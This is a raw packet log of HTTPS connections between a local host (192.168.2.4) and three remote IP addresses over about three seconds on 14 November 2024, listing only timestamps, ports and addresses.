Nov 14, 2024 20:43:41.086488962 CET	443	49946	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.086662054 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.087554932 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.087622881 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.088187933 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.088387966 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.088953972 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.089020967 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.089061975 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.089099884 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.089143038 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.089143038 CET	443	49946	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.089226007 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.089819908 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.089953899 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.089966059 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.090007067 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.091144085 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.091217995 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.091305971 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.091381073 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.091406107 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.091478109 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.091547966 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.091634035 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.092438936 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.092446089 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.092447996 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.092480898 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.092521906 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.092529058 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.092533112 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.092597008 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.092825890 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.092864037 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.092978954 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.093014956 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.131335020 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.131407022 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.143605947 CET	49946	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.143629074 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.143691063 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.190593004 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.353113890 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.353285074 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.353763103 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.354141951 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.354270935 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.354367018 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.354887962 CET	49948	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.354904890 CET	443	49948	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.355885029 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.355905056 CET	443	49947	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:41.355921030 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.355953932 CET	49947	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:41.783142090 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.783365965 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.783446074 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.787055016 CET	49949	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.787096024 CET	443	49949	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.824299097 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.830887079 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.838736057 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.840352058 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.840394974 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.841006994 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.841020107 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.841413975 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.841464043 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.841958046 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.841970921 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.842643023 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.842662096 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.843106031 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.843111992 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.919992924 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.920562029 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.920581102 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.921277046 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.921282053 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.932837963 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.932945967 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.933028936 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.933552027 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:41.933585882 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:41.976608992 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.977528095 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.977612019 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.979845047 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.979845047 CET	49953	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.979888916 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.979918957 CET	443	49953	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.981379986 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.981443882 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:41.981499910 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.984350920 CET	49951	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:41.984364986 CET	443	49951	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.007527113 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.007617950 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.007704020 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.008425951 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.008462906 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.010984898 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.011008978 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.011132956 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.011647940 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.011662960 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.062283993 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.062457085 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.062587023 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.085825920 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.085825920 CET	49952	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.085850000 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.085860968 CET	443	49952	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.091237068 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.091299057 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.091375113 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.091933012 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.091964006 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.181747913 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.181932926 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.182019949 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.207951069 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.208023071 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.208064079 CET	49950	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.208082914 CET	443	49950	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.212035894 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.212054014 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.212290049 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.212502956 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.212513924 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.543505907 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.550555944 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.550616026 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.551774025 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.551788092 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.601772070 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.602174997 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.602205038 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.605458021 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.605529070 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.606116056 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.606204033 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.606538057 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.606554985 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.658278942 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.685940981 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.686263084 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.686327934 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.686629057 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.686670065 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.686698914 CET	49943	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.686714888 CET	443	49943	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.694298983 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.694365025 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.694602013 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.694879055 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.694910049 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.738054037 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.738759041 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.738837004 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.739696980 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.739712000 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.757761002 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.759859085 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.760693073 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.760716915 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.761753082 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.761759043 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.798593044 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.798640966 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.802938938 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.803050995 CET	443	49954	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.803126097 CET	49954	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.804553986 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.804578066 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.805120945 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.805120945 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:42.805150986 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:42.836148977 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.836565971 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.836618900 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.836929083 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.836941004 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.894349098 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.894397974 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.894468069 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.895035982 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.895080090 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.895111084 CET	49955	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.895127058 CET	443	49955	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.896107912 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.896276951 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.896334887 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.896528006 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.896543980 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.896569014 CET	49956	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.896574020 CET	443	49956	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.900945902 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.900976896 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.901853085 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.901886940 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.901891947 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.902028084 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.902036905 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.902062893 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.902178049 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.902209997 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.942255020 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.942935944 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.942954063 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.943806887 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.943813086 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.968653917 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.968765020 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.968832016 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.968949080 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.968986988 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.969016075 CET	49957	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.969032049 CET	443	49957	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.973109961 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.973126888 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:42.973299026 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.973459959 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:42.973468065 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.081568956 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.081633091 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.081717014 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.082962036 CET	49958	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.082973957 CET	443	49958	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.086426973 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.086515903 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.087554932 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.087774038 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.087814093 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.425685883 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.426398039 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.426485062 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.426767111 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.426783085 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.507436991 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:43.507714987 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:43.507725954 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:43.509140015 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:43.509191036 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:43.509532928 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:43.509605885 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:43.509675980 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:43.551340103 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:43.551359892 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:43.551386118 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:43.556936026 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.556998968 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.557177067 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.557260036 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.557260036 CET	49959	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.557305098 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.557332993 CET	443	49959	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.560010910 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.560036898 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.560210943 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.560393095 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.560406923 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.599323034 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:43.642646074 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.643018007 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.643038034 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.643408060 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.643413067 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.655333042 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.655661106 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.655703068 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.655992985 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.656006098 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.724607944 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.725066900 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.725090027 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.725549936 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.725554943 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.775854111 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.775908947 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.776086092 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.776118994 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.776135921 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.776146889 CET	49961	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.776151896 CET	443	49961	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.778613091 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.778701067 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.778778076 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.778920889 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.778954029 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.785572052 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.785661936 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.785737991 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.785809994 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.785850048 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.785850048 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.785860062 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.785917044 CET	49962	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.785917044 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.785948038 CET	443	49962	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.787724018 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.787751913 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.787893057 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.788008928 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.788021088 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.843082905 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.843446970 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.843509912 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.843801022 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.843816042 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.855925083 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.856075048 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.856250048 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.856276989 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.856282949 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.856291056 CET	49963	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.856295109 CET	443	49963	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.858047962 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.858057976 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.858217955 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.858355999 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.858364105 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.975697041 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.975749969 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.975795031 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.975997925 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.976196051 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.976196051 CET	49964	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.976239920 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.976269960 CET	443	49964	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.979507923 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.979584932 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:43.980626106 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.980933905 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:43.980966091 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.195125103 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:44.195247889 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:44.195295095 CET	49960	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:44.196260929 CET	49960	443	192.168.2.4	103.114.163.132
